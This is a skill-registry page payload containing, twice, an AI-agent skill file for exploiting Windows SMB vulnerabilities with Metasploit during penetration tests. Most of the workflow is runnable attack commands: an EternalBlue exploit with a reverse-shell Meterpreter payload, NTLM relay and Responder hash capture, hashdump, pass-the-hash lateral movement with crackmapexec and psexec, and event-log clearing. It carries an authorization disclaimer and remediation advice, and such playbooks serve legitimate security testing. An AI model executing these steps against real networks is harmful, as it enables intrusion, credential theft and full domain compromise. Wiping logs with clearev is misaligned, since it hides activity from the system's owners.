[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7D8J7532PFX02R1QQDEWS9B":3,"skill-same:01M7D8J7532PFX02R1QQDEWS9B":84},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":45,"commitSha":46,"skillDirectory":47,"forksCount":48,"repositoryHtmlUrl":49,"repositoryHomepageUrl":6,"ownerHtmlUrl":50,"ownerBlogUrl":51,"ownerDescription":52,"updatedAt":53,"install":54,"resources":67},"01M7D8J7532PFX02R1QQDEWS9B","exploiting-smb-vulnerabilities-with-metasploit",null,"Identifies and exploits SMB protocol vulnerabilities using Metasploit Framework during authorized penetration tests to demonstrate risks from unpatched Windows systems, misconfigured shares, and weak authentication in enterprise networks.","SaiVatsal\u002FSkills-I-Use","SaiVatsal","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F242597752?v=4","01M7D5YM1T4VXW9203M0GFAHZ1","SaiVatsalPolimera","01M7D5YM2D61ST39XVR2V7B7ZJ",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fexploiting-smb-vulnerabilities-with-metasploit\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fexploiting-smb-vulnerabilities-with-metasploit\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: exploiting-smb-vulnerabilities-with-metasploit\ndescription: 'Identifies and exploits SMB protocol vulnerabilities using Metasploit\n  Framework during authorized penetration tests to demonstrate risks from unpatched\n  Windows systems, misconfigured shares, and weak authentication in enterprise networks.\n\n  '\ndomain: cybersecurity\nsubdomain: network-security\ntags:\n- network-security\n- smb\n- metasploit\n- exploitation\n- eternalblue\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.IR-01\n- DE.CM-01\n- ID.AM-03\n- PR.DS-02\nmitre_attack:\n- T1046\n- T1040\n- T1557\n- T1071\n---\n# Exploiting SMB Vulnerabilities with Metasploit\n\n## When to Use\n\n- Testing Windows systems for critical SMB vulnerabilities (EternalBlue, EternalRomance, PrintNightmare) during authorized penetration tests\n- Demonstrating lateral movement risks via SMB relay, pass-the-hash, and credential spraying\n- Validating that patch management processes have addressed known SMB vulnerabilities\n- Assessing SMB signing enforcement and share permission configurations across the domain\n- Testing network segmentation by attempting SMB exploitation across VLAN boundaries\n\n**Do not use** against systems without explicit written authorization, against production domain controllers without a maintenance window, or to deploy persistent backdoors beyond the scope of the assessment.\n\n## Prerequisites\n\n- Metasploit Framework 6.x installed (`msfconsole --version`)\n- Authorized penetration test scope document listing target IP ranges and approved attack types\n- Network access to target SMB services (TCP 445, TCP 139)\n- CrackMapExec and Impacket tools installed for complementary SMB testing\n- Valid test credentials or credential wordlists approved for the engagement\n- Kali Linux or equivalent testing platform\n\n## Workflow\n\n### Step 1: Enumerate SMB Services and Versions\n\n```bash\n# Discover hosts with SMB open using Nmap\nnmap -sS -p 445,139 --open -oA smb_hosts 10.10.0.0\u002F24\n\n# Enumerate SMB versions and OS information\nnmap -sV -p 445 --script smb-os-discovery,smb-protocols -oA smb_enum 10.10.0.0\u002F24\n\n# Use CrackMapExec for rapid SMB enumeration\ncrackmapexec smb 10.10.0.0\u002F24 --gen-relay-list smb_nosigning.txt\n\n# Check SMB signing status (disabled = vulnerable to relay)\ncrackmapexec smb 10.10.0.0\u002F24 --smb-signing\n\n# Enumerate shares with null session\ncrackmapexec smb 10.10.0.0\u002F24 -u '' -p '' --shares\n```\n\n### Step 2: Scan for Known SMB Vulnerabilities\n\n```bash\n# Start Metasploit and scan for MS17-010 (EternalBlue)\nmsfconsole -q\nmsf6> use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_ms17_010\nmsf6 auxiliary(smb_ms17_010)> set RHOSTS file:smb_hosts.txt\nmsf6 auxiliary(smb_ms17_010)> set THREADS 10\nmsf6 auxiliary(smb_ms17_010)> run\n\n# Scan for MS08-067 (Conficker vulnerability)\nmsf6> use auxiliary\u002Fscanner\u002Fsmb\u002Fms08_067_check\nmsf6 auxiliary(ms08_067_check)> set RHOSTS file:smb_hosts.txt\nmsf6 auxiliary(ms08_067_check)> run\n\n# Check for SMBGhost (CVE-2020-0796)\nnmap -p 445 --script smb-vuln-cve-2020-0796 10.10.0.0\u002F24\n\n# Check for PrintNightmare (CVE-2021-34527)\ncrackmapexec smb 10.10.0.0\u002F24 -u testuser -p 'TestPass123' -M printnightmare\n```\n\n### Step 3: Exploit EternalBlue (MS17-010)\n\n```bash\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\nmsf6 exploit(ms17_010_eternalblue)> set RHOSTS 10.10.5.23\nmsf6 exploit(ms17_010_eternalblue)> set LHOST 10.10.1.99\nmsf6 exploit(ms17_010_eternalblue)> set LPORT 4444\nmsf6 exploit(ms17_010_eternalblue)> set PAYLOAD windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\nmsf6 exploit(ms17_010_eternalblue)> set MaxExploitAttempts 3\nmsf6 exploit(ms17_010_eternalblue)> exploit\n\n# Post-exploitation -- verify access level\nmeterpreter> getuid\n# Server username: NT AUTHORITY\\SYSTEM\n\nmeterpreter> sysinfo\nmeterpreter> ipconfig\nmeterpreter> hashdump\n```\n\n### Step 4: Perform SMB Relay Attack\n\n```bash\n# Identify hosts without SMB signing (from Step 1)\n# Set up NTLM relay with Impacket\nsudo impacket-ntlmrelayx -tf smb_nosigning.txt -smb2support -i\n\n# Trigger authentication from a compromised host or via phishing\n# From Meterpreter session on a compromised host:\nmeterpreter> shell\nC:\\> net use \\\\10.10.1.99\\share \u002Fuser:DOMAIN\\admin password\n\n# Or use Metasploit's SMB relay module\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fsmb_relay\nmsf6 exploit(smb_relay)> set SMBHOST 10.10.5.30\nmsf6 exploit(smb_relay)> set LHOST 10.10.1.99\nmsf6 exploit(smb_relay)> exploit\n\n# Use responder to capture NTLM hashes for offline cracking\nsudo responder -I eth0 -wrfv\n```\n\n### Step 5: Pass-the-Hash and Lateral Movement via SMB\n\n```bash\n# Extract hashes from compromised system\nmeterpreter> hashdump\n# Administrator:500:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::\n\n# Use pass-the-hash with CrackMapExec\ncrackmapexec smb 10.10.0.0\u002F24 -u Administrator \\\n  -H e19ccf75ee54e06b06a5907af13cef42 --shares\n\n# Execute commands via pass-the-hash\ncrackmapexec smb 10.10.5.30 -u Administrator \\\n  -H e19ccf75ee54e06b06a5907af13cef42 -x \"whoami && hostname\"\n\n# Use Impacket psexec for interactive shell\nimpacket-psexec Administrator@10.10.5.30 \\\n  -hashes aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42\n\n# Use Metasploit psexec module\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fpsexec\nmsf6 exploit(psexec)> set RHOSTS 10.10.5.30\nmsf6 exploit(psexec)> set SMBUser Administrator\nmsf6 exploit(psexec)> set SMBPass aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42\nmsf6 exploit(psexec)> set PAYLOAD windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\nmsf6 exploit(psexec)> set LHOST 10.10.1.99\nmsf6 exploit(psexec)> exploit\n```\n\n### Step 6: Document Findings and Clean Up\n\n```bash\n# Document all compromised systems and access levels\n# In Meterpreter, screenshot desktops for evidence\nmeterpreter> screenshot\n\n# List accessible shares and sensitive data\nmeterpreter> shell\nC:\\> net share\nC:\\> dir \\\\10.10.5.30\\C$\\Users\\ \u002Fs \u002Fb\n\n# Clean up -- remove any artifacts\nmeterpreter> clearev\nmeterpreter> shell\nC:\\> del \u002Ff C:\\Windows\\Temp\\payload.exe\n\n# Close all sessions\nmsf6> sessions -K\n\n# Verify cleanup\ncrackmapexec smb 10.10.5.23 -u Administrator -H \u003Chash> -x \"dir C:\\Windows\\Temp\\payload*\"\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **EternalBlue (MS17-010)** | Critical SMB vulnerability in SMBv1 allowing remote code execution as SYSTEM without authentication, originally developed by the NSA and leaked by Shadow Brokers |\n| **SMB Signing** | Cryptographic signing of SMB packets to prevent tampering and relay attacks; when disabled, attackers can relay NTLM authentication to other SMB hosts |\n| **Pass-the-Hash** | Authentication technique using captured NTLM password hashes directly instead of plaintext passwords, bypassing the need to crack the hash |\n| **NTLM Relay** | Attack where captured NTLM authentication is forwarded to a different server in real-time, granting the attacker access as the relayed user |\n| **PsExec** | Remote execution technique that uploads a service binary to the ADMIN$ share and creates a Windows service to execute commands as SYSTEM |\n| **Null Session** | Anonymous SMB connection (empty username and password) that may expose share listings, user enumeration, and policy information on misconfigured systems |\n\n## Tools & Systems\n\n- **Metasploit Framework**: Exploitation framework with dedicated SMB scanner, exploit, and post-exploitation modules for comprehensive SMB testing\n- **CrackMapExec**: Swiss-army knife for SMB enumeration, credential testing, share enumeration, and command execution across Windows networks\n- **Impacket**: Python library providing psexec, smbclient, ntlmrelayx, and other tools for low-level SMB protocol interaction\n- **Responder**: LLMNR\u002FNBT-NS\u002FmDNS poisoner that captures NTLM hashes from Windows name resolution fallback behavior\n- **enum4linux-ng**: Updated SMB enumeration tool for extracting users, groups, shares, and policies from Windows\u002FSamba hosts\n\n## Common Scenarios\n\n### Scenario: Internal Penetration Test Targeting Windows Domain via SMB\n\n**Context**: During an internal penetration test for a financial services firm, the tester has network access to the corporate VLAN (10.10.0.0\u002F16). The scope includes testing all Windows servers and workstations for SMB-related vulnerabilities. Active Directory domain is CORP.EXAMPLE.COM with approximately 200 hosts.\n\n**Approach**:\n1. Scan the entire \u002F16 for open SMB ports and enumerate OS versions with CrackMapExec\n2. Identify 12 hosts running Windows Server 2012 R2 without MS17-010 patch applied\n3. Exploit EternalBlue on a non-critical file server (10.10.5.23) to gain SYSTEM access\n4. Extract local administrator password hash using hashdump and discover password reuse across 47 hosts\n5. Use pass-the-hash to access a domain controller, extracting the NTDS.dit database\n6. Demonstrate that SMB signing is disabled on 83% of hosts, enabling relay attacks\n7. Document the complete attack chain showing how one unpatched system led to full domain compromise\n\n**Pitfalls**:\n- EternalBlue exploit can cause a blue screen of death (BSOD) on the target, especially on older or unstable systems\n- Running psexec on heavily monitored endpoints may trigger EDR alerts and burn the engagement\n- Performing hashdump on domain controllers with large databases can cause performance degradation\n- Not checking for SMBv1 explicitly -- some scanners may miss it if SMBv2\u002Fv3 is also available\n\n## Output Format\n\n```\n## SMB Vulnerability Assessment Report\n\n**Engagement**: Internal Penetration Test\n**Target Range**: 10.10.0.0\u002F16 (CORP.EXAMPLE.COM)\n**SMB Hosts Discovered**: 187\n\n### Critical Findings\n\n**Finding 1: MS17-010 (EternalBlue) - 12 Unpatched Hosts**\n- Severity: Critical (CVSS 9.8)\n- Affected: 10.10.5.23, 10.10.5.24, 10.10.8.10 (+ 9 others)\n- Impact: Remote code execution as SYSTEM without authentication\n- Exploited: Yes - gained SYSTEM on 10.10.5.23\n- Remediation: Apply MS17-010 patch, disable SMBv1\n\n**Finding 2: SMB Signing Disabled - 155\u002F187 Hosts**\n- Severity: High (CVSS 7.5)\n- Impact: NTLM relay attacks allow credential forwarding\n- Exploited: Yes - relayed domain admin credentials\n- Remediation: Enable SMB signing via Group Policy\n\n**Finding 3: Local Admin Password Reuse - 47 Hosts**\n- Severity: High (CVSS 7.2)\n- Impact: Compromise of one host enables lateral movement to 47 systems\n- Remediation: Deploy LAPS (Local Administrator Password Solution)\n```\n","# Exploiting SMB Vulnerabilities with Metasploit\n\n## When to Use\n\n- Testing Windows systems for critical SMB vulnerabilities (EternalBlue, EternalRomance, PrintNightmare) during authorized penetration tests\n- Demonstrating lateral movement risks via SMB relay, pass-the-hash, and credential spraying\n- Validating that patch management processes have addressed known SMB vulnerabilities\n- Assessing SMB signing enforcement and share permission configurations across the domain\n- Testing network segmentation by attempting SMB exploitation across VLAN boundaries\n\n**Do not use** against systems without explicit written authorization, against production domain controllers without a maintenance window, or to deploy persistent backdoors beyond the scope of the assessment.\n\n## Prerequisites\n\n- Metasploit Framework 6.x installed (`msfconsole --version`)\n- Authorized penetration test scope document listing target IP ranges and approved attack types\n- Network access to target SMB services (TCP 445, TCP 139)\n- CrackMapExec and Impacket tools installed for complementary SMB testing\n- Valid test credentials or credential wordlists approved for the engagement\n- Kali Linux or equivalent testing platform\n\n## Workflow\n\n### Step 1: Enumerate SMB Services and Versions\n\n```bash\n# Discover hosts with SMB open using Nmap\nnmap -sS -p 445,139 --open -oA smb_hosts 10.10.0.0\u002F24\n\n# Enumerate SMB versions and OS information\nnmap -sV -p 445 --script smb-os-discovery,smb-protocols -oA smb_enum 10.10.0.0\u002F24\n\n# Use CrackMapExec for rapid SMB enumeration\ncrackmapexec smb 10.10.0.0\u002F24 --gen-relay-list smb_nosigning.txt\n\n# Check SMB signing status (disabled = vulnerable to relay)\ncrackmapexec smb 10.10.0.0\u002F24 --smb-signing\n\n# Enumerate shares with null session\ncrackmapexec smb 10.10.0.0\u002F24 -u '' -p '' --shares\n```\n\n### Step 2: Scan for Known SMB Vulnerabilities\n\n```bash\n# Start Metasploit and scan for MS17-010 (EternalBlue)\nmsfconsole -q\nmsf6> use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_ms17_010\nmsf6 auxiliary(smb_ms17_010)> set RHOSTS file:smb_hosts.txt\nmsf6 auxiliary(smb_ms17_010)> set THREADS 10\nmsf6 auxiliary(smb_ms17_010)> run\n\n# Scan for MS08-067 (Conficker vulnerability)\nmsf6> use auxiliary\u002Fscanner\u002Fsmb\u002Fms08_067_check\nmsf6 auxiliary(ms08_067_check)> set RHOSTS file:smb_hosts.txt\nmsf6 auxiliary(ms08_067_check)> run\n\n# Check for SMBGhost (CVE-2020-0796)\nnmap -p 445 --script smb-vuln-cve-2020-0796 10.10.0.0\u002F24\n\n# Check for PrintNightmare (CVE-2021-34527)\ncrackmapexec smb 10.10.0.0\u002F24 -u testuser -p 'TestPass123' -M printnightmare\n```\n\n### Step 3: Exploit EternalBlue (MS17-010)\n\n```bash\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\nmsf6 exploit(ms17_010_eternalblue)> set RHOSTS 10.10.5.23\nmsf6 exploit(ms17_010_eternalblue)> set LHOST 10.10.1.99\nmsf6 exploit(ms17_010_eternalblue)> set LPORT 4444\nmsf6 exploit(ms17_010_eternalblue)> set PAYLOAD windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\nmsf6 exploit(ms17_010_eternalblue)> set MaxExploitAttempts 3\nmsf6 exploit(ms17_010_eternalblue)> exploit\n\n# Post-exploitation -- verify access level\nmeterpreter> getuid\n# Server username: NT AUTHORITY\\SYSTEM\n\nmeterpreter> sysinfo\nmeterpreter> ipconfig\nmeterpreter> hashdump\n```\n\n### Step 4: Perform SMB Relay Attack\n\n```bash\n# Identify hosts without SMB signing (from Step 1)\n# Set up NTLM relay with Impacket\nsudo impacket-ntlmrelayx -tf smb_nosigning.txt -smb2support -i\n\n# Trigger authentication from a compromised host or via phishing\n# From Meterpreter session on a compromised host:\nmeterpreter> shell\nC:\\> net use \\\\10.10.1.99\\share \u002Fuser:DOMAIN\\admin password\n\n# Or use Metasploit's SMB relay module\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fsmb_relay\nmsf6 exploit(smb_relay)> set SMBHOST 10.10.5.30\nmsf6 exploit(smb_relay)> set LHOST 10.10.1.99\nmsf6 exploit(smb_relay)> exploit\n\n# Use responder to capture NTLM hashes for offline cracking\nsudo responder -I eth0 -wrfv\n```\n\n### Step 5: Pass-the-Hash and Lateral Movement via SMB\n\n```bash\n# Extract hashes from compromised system\nmeterpreter> hashdump\n# Administrator:500:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::\n\n# Use pass-the-hash with CrackMapExec\ncrackmapexec smb 10.10.0.0\u002F24 -u Administrator \\\n  -H e19ccf75ee54e06b06a5907af13cef42 --shares\n\n# Execute commands via pass-the-hash\ncrackmapexec smb 10.10.5.30 -u Administrator \\\n  -H e19ccf75ee54e06b06a5907af13cef42 -x \"whoami && hostname\"\n\n# Use Impacket psexec for interactive shell\nimpacket-psexec Administrator@10.10.5.30 \\\n  -hashes aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42\n\n# Use Metasploit psexec module\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fpsexec\nmsf6 exploit(psexec)> set RHOSTS 10.10.5.30\nmsf6 exploit(psexec)> set SMBUser Administrator\nmsf6 exploit(psexec)> set SMBPass aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42\nmsf6 exploit(psexec)> set PAYLOAD windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\nmsf6 exploit(psexec)> set LHOST 10.10.1.99\nmsf6 exploit(psexec)> exploit\n```\n\n### Step 6: Document Findings and Clean Up\n\n```bash\n# Document all compromised systems and access levels\n# In Meterpreter, screenshot desktops for evidence\nmeterpreter> screenshot\n\n# List accessible shares and sensitive data\nmeterpreter> shell\nC:\\> net share\nC:\\> dir \\\\10.10.5.30\\C$\\Users\\ \u002Fs \u002Fb\n\n# Clean up -- remove any artifacts\nmeterpreter> clearev\nmeterpreter> shell\nC:\\> del \u002Ff C:\\Windows\\Temp\\payload.exe\n\n# Close all sessions\nmsf6> sessions -K\n\n# Verify cleanup\ncrackmapexec smb 10.10.5.23 -u Administrator -H \u003Chash> -x \"dir C:\\Windows\\Temp\\payload*\"\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **EternalBlue (MS17-010)** | Critical SMB vulnerability in SMBv1 allowing remote code execution as SYSTEM without authentication, originally developed by the NSA and leaked by Shadow Brokers |\n| **SMB Signing** | Cryptographic signing of SMB packets to prevent tampering and relay attacks; when disabled, attackers can relay NTLM authentication to other SMB hosts |\n| **Pass-the-Hash** | Authentication technique using captured NTLM password hashes directly instead of plaintext passwords, bypassing the need to crack the hash |\n| **NTLM Relay** | Attack where captured NTLM authentication is forwarded to a different server in real-time, granting the attacker access as the relayed user |\n| **PsExec** | Remote execution technique that uploads a service binary to the ADMIN$ share and creates a Windows service to execute commands as SYSTEM |\n| **Null Session** | Anonymous SMB connection (empty username and password) that may expose share listings, user enumeration, and policy information on misconfigured systems |\n\n## Tools & Systems\n\n- **Metasploit Framework**: Exploitation framework with dedicated SMB scanner, exploit, and post-exploitation modules for comprehensive SMB testing\n- **CrackMapExec**: Swiss-army knife for SMB enumeration, credential testing, share enumeration, and command execution across Windows networks\n- **Impacket**: Python library providing psexec, smbclient, ntlmrelayx, and other tools for low-level SMB protocol interaction\n- **Responder**: LLMNR\u002FNBT-NS\u002FmDNS poisoner that captures NTLM hashes from Windows name resolution fallback behavior\n- **enum4linux-ng**: Updated SMB enumeration tool for extracting users, groups, shares, and policies from Windows\u002FSamba hosts\n\n## Common Scenarios\n\n### Scenario: Internal Penetration Test Targeting Windows Domain via SMB\n\n**Context**: During an internal penetration test for a financial services firm, the tester has network access to the corporate VLAN (10.10.0.0\u002F16). The scope includes testing all Windows servers and workstations for SMB-related vulnerabilities. Active Directory domain is CORP.EXAMPLE.COM with approximately 200 hosts.\n\n**Approach**:\n1. Scan the entire \u002F16 for open SMB ports and enumerate OS versions with CrackMapExec\n2. Identify 12 hosts running Windows Server 2012 R2 without MS17-010 patch applied\n3. Exploit EternalBlue on a non-critical file server (10.10.5.23) to gain SYSTEM access\n4. Extract local administrator password hash using hashdump and discover password reuse across 47 hosts\n5. Use pass-the-hash to access a domain controller, extracting the NTDS.dit database\n6. Demonstrate that SMB signing is disabled on 83% of hosts, enabling relay attacks\n7. Document the complete attack chain showing how one unpatched system led to full domain compromise\n\n**Pitfalls**:\n- EternalBlue exploit can cause a blue screen of death (BSOD) on the target, especially on older or unstable systems\n- Running psexec on heavily monitored endpoints may trigger EDR alerts and burn the engagement\n- Performing hashdump on domain controllers with large databases can cause performance degradation\n- Not checking for SMBv1 explicitly -- some scanners may miss it if SMBv2\u002Fv3 is also available\n\n## Output Format\n\n```\n## SMB Vulnerability Assessment Report\n\n**Engagement**: Internal Penetration Test\n**Target Range**: 10.10.0.0\u002F16 (CORP.EXAMPLE.COM)\n**SMB Hosts Discovered**: 187\n\n### Critical Findings\n\n**Finding 1: MS17-010 (EternalBlue) - 12 Unpatched Hosts**\n- Severity: Critical (CVSS 9.8)\n- Affected: 10.10.5.23, 10.10.5.24, 10.10.8.10 (+ 9 others)\n- Impact: Remote code execution as SYSTEM without authentication\n- Exploited: Yes - gained SYSTEM on 10.10.5.23\n- Remediation: Apply MS17-010 patch, disable SMBv1\n\n**Finding 2: SMB Signing Disabled - 155\u002F187 Hosts**\n- Severity: High (CVSS 7.5)\n- Impact: NTLM relay attacks allow credential forwarding\n- Exploited: Yes - relayed domain admin credentials\n- Remediation: Enable SMB signing via Group Policy\n\n**Finding 3: Local Admin Password Reuse - 47 Hosts**\n- Severity: High (CVSS 7.2)\n- Impact: Compromise of one host enables lateral movement to 47 systems\n- Remediation: Deploy LAPS (Local Administrator Password Solution)\n```\n",{"name":5,"tags":25,"author":31,"domain":32,"license":15,"version":33,"nist_csf":34,"subdomain":26,"description":39,"mitre_attack":40},[26,27,28,29,30],"network-security","smb","metasploit","exploitation","eternalblue","mahipal","cybersecurity","1.0",[35,36,37,38],"PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02","Identifies and exploits SMB protocol vulnerabilities using Metasploit Framework during authorized penetration tests to demonstrate risks from unpatched Windows systems, misconfigured shares, and weak authentication in enterprise networks.\n",[41,42,43,44],"T1046","T1040","T1557","T1071","main","8a3b3de73262a4c4db64523949360f3c599c2fb1","Anthropic-Cybersecurity-Skills-main\u002Fskills\u002Fexploiting-smb-vulnerabilities-with-metasploit",0,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use","https:\u002F\u002Fgithub.com\u002FSaiVatsal","https:\u002F\u002Fsaivatsal.github.io\u002FPortfolio\u002F","The Longer It Takes The Stronger It Becomes ","2026-09-21 22:45:58",{"source":8,"skillName":5,"commands":55,"prompt":65,"zipAvailable":66},[56,59,62],{"tool":57,"command":58},"npx","npx skills add SaiVatsal\u002FSkills-I-Use --skill exploiting-smb-vulnerabilities-with-metasploit",{"tool":60,"command":61},"bunx","bunx skills add SaiVatsal\u002FSkills-I-Use --skill exploiting-smb-vulnerabilities-with-metasploit",{"tool":63,"command":64},"pnpm","pnpm dlx skills add SaiVatsal\u002FSkills-I-Use --skill exploiting-smb-vulnerabilities-with-metasploit","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fexploiting-smb-vulnerabilities-with-metasploit\u002FSKILL.md",true,[68,72,78],{"path":69,"resourceType":69,"resourceTypeDesc":70,"sizeBytes":71,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":73,"resourceType":74,"resourceTypeDesc":75,"sizeBytes":76,"sourceHtmlUrl":77},"references\u002Fapi-reference.md","REFERENCE","参考文档",1935,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fexploiting-smb-vulnerabilities-with-metasploit\u002Freferences\u002Fapi-reference.md",{"path":79,"resourceType":80,"resourceTypeDesc":81,"sizeBytes":82,"sourceHtmlUrl":83},"scripts\u002Fagent.py","SCRIPT","脚本",5993,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fexploiting-smb-vulnerabilities-with-metasploit\u002Fscripts\u002Fagent.py",[85,93,101,110,117,124],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":89,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":20},"01M7DJZP6E6KMBQV4CZSDPZEZ8","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fwebapp-testing\u002FSKILL.md",[],[],{"skillNo":94,"name":95,"nameZh":6,"description":96,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":97,"sourceHtmlUrl":98,"categories":99,"keywords":100,"publishedAt":20},"01M7DJZFTS5TS06K2TV3MDTE67","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX artifacts.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fweb-artifacts-builder\u002FSKILL.md",[],[],{"skillNo":102,"name":103,"nameZh":6,"description":104,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":105,"licenseFileUrl":106,"sourceHtmlUrl":107,"categories":108,"keywords":109,"publishedAt":20},"01M7DJRK4SRQ908F2TJM6EZ7EV","ui-styling","Create beautiful, accessible user interfaces with shadcn\u002Fui components (built on Radix UI + Tailwind), Tailwind CSS utility-first styling, and canvas-based visual designs. Use when building user interfaces, implementing design systems, creating responsive layouts, adding accessible components (dialogs, dropdowns, forms, tables), customizing themes and colors, implementing dark mode, generating visual designs and posters, or establishing consistent styling patterns across applications.","MIT","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fui-styling\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fui-styling\u002FSKILL.md",[],[],{"skillNo":111,"name":112,"nameZh":6,"description":113,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":105,"licenseFileUrl":6,"sourceHtmlUrl":114,"categories":115,"keywords":116,"publishedAt":20},"01M7DJR902059VEQP23PVM2WA0","design","Comprehensive design skill: brand identity, design tokens, UI styling, logo generation (55 styles, Gemini AI), corporate identity program (50 deliverables, CIP mockups), HTML presentations (Chart.js), banner design (22 styles, social\u002Fads\u002Fweb\u002Fprint), icon design (15 styles, SVG, Gemini 3.1 Pro), social photos (HTML→screenshot, multi-platform). Actions: design logo, create CIP, generate mockups, build slides, design banner, generate icon, create social photos, social media images, brand identity, design system. Platforms: Facebook, Twitter, LinkedIn, YouTube, Instagram, Pinterest, TikTok, Threads, Google Ads.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fdesign\u002FSKILL.md",[],[],{"skillNo":118,"name":119,"nameZh":6,"description":120,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":105,"licenseFileUrl":6,"sourceHtmlUrl":121,"categories":122,"keywords":123,"publishedAt":20},"01M7DJR56QF5N6XYTCPCFHFMNP","design-system","Token architecture, component specifications, and slide generation. Three-layer tokens (primitive→semantic→component), CSS variables, spacing\u002Ftypography scales, component specs, strategic slide creation. Use for design tokens, systematic design, brand-compliant 